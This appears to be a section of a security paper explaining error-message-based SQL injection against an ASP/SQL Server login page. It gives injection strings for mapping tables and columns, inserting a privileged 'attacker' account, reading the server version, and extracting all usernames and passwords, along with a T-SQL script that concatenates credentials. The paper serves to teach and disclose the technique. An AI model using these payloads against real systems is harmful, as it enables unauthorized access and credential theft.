[Obtaining Information Using Error Messages]
This technique was first discovered by David Litchfield and the author in the course of a
penetration test; David later wrote a paper on the technique [1], and subsequent authors
have referenced this work. This explanation discusses the mechanisms underlying the
'error message' technique, enabling the reader to fully understand it, and potentially
originate variations of their own.
In order to manipulate the data in the database, the attacker will have to determine the
structure of certain databases and tables. For example, our 'users' table might have been
created with the following command:
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
..and had the following users inserted:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
Let's say our attacker wants to insert a user account for himself. Without knowing the
structure of the 'users' table, he is unlikely to be successful. Even if he gets lucky, the
significance of the 'privs' field is unclear. The attacker might insert a '1', and give himself
a low - privileged account in the application, when what he was after was administrative
access.
Fortunately for the attacker, if error messages are returned from the application (the
default ASP behaviour) the attacker can determine the entire structure of the database,
and read any value that can be read by the account the ASP application is using to
connect to the SQL Server.
(The following examples use the supplied sample database and .asp scripts to illustrate
how these techniques work.)
First, the attacker wants to establish the names of the tables that the query operates on,
and the names of the fields. To do this, the attacker uses the 'having' clause of the 'select'
statement:
Username: ' having 1=1--
This provokes the following error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35
So the attacker now knows the table name and column name of the first column in the
query. They can continue through the columns by introducing each field into a 'group by'
clause, as follows:
Username: ' group by users.id having 1=1--
(which produces the error…)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35
Eventually the attacker arrives at the following 'username':' group by users.id, users.username, users.password, users.privs having
1=1--
… which produces no error, and is functionally equivalent to:
select * from users where username = ''
So the attacker now knows that the query is referencing only the 'users' table, and is using
the columns 'id, username, password, privs', in that order.
It would be useful if he could determine the types of each column. This can be achieved
using a 'type conversion' error message, like this:
Username: ' union select sum(username) from users--
This takes advantage of the fact that SQL server attempts to apply the 'sum' clause before
determining whether the number of fields in the two rowsets is equal. Attempting to
calculate the 'sum' of a textual field results in this message:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
..which tells us that the 'username' field has type 'varchar'. If, on the other hand, we
attempt to calculate the sum() of a numeric type, we get an error message telling us that
the number of fields in the two rowsets don't match:
Username: ' union select sum(id) from users--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.
/process_login.asp, line 35
We can use this technique to approximately determine the type of any column of any
table in the database.
This allows the attacker to create a well - formed 'insert' query, like this:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff
)--
However, the potential of the technique doesn't stop there. The attacker can take advantage of any error message that reveals information about the environment, or the
database. A list of the format strings for standard error messages can be obtained by
running:
select * from master..sysmessages
Examining this list reveals some interesting messages.
One especially useful message relates to type conversion. If you attempt to convert a
string into an integer, the full contents of the string are returned in the error message. In
our sample login page, for example, the following 'username' will return the specific
version of SQL server, and the server operating system it is running on:
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.asp, line 35
This attempts to convert the built-in '@@version' constant into an integer because the
first column in the 'users' table is an integer.
This technique can be used to read any value in any table in the database. Since the
attacker is interested in usernames and passwords, they are likely to read the usernames
from the 'users' table, like this:
Username: ' union select min(username),1,1,1 from users where username >
'a'--
This selects the minimum username that is greater than 'a', and attempts to convert it to an
integer:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
So the attacker now knows that the 'admin' account exists. He can now iterate through the
rows in the table by substituting each new username he discovers into the 'where' clause:
Username: ' union select min(username),1,1,1 from users where username >
'admin'-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
Once the attacker has determined the usernames, he can start gathering passwords:
Username: ' union select password,1,1,1 from users where username =
'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
A more elegant technique is to concatenate all of the usernames and passwords into a
single string, and then attempt to convert it to an integer. This illustrates another point;
Transact-SQL statements can be string together on the same line without altering their
meaning. The following script will concatenate the values:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
The attacker 'logs in' with this 'username' (all on one line, obviously…)
Username: '; begin declare @ret varchar(8000) set @ret=':' select
@ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo end--
This creates a table 'foo', which contains the single column 'ret', and puts our string into it.
Normally even a low-privileged user will be able to create a table in a sample database, or
the temporary database.
The attacker then selects the string from the table, as before:
Username: ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int./process_login.asp, line 35
And then drops (deletes) the table, to tidy up:
Username: '; drop table foo--
These examples are barely scratching the surface of the flexibility of this technique.
Needless to say, if the attacker can obtain rich error information from the database, their
job is infinitely easier.
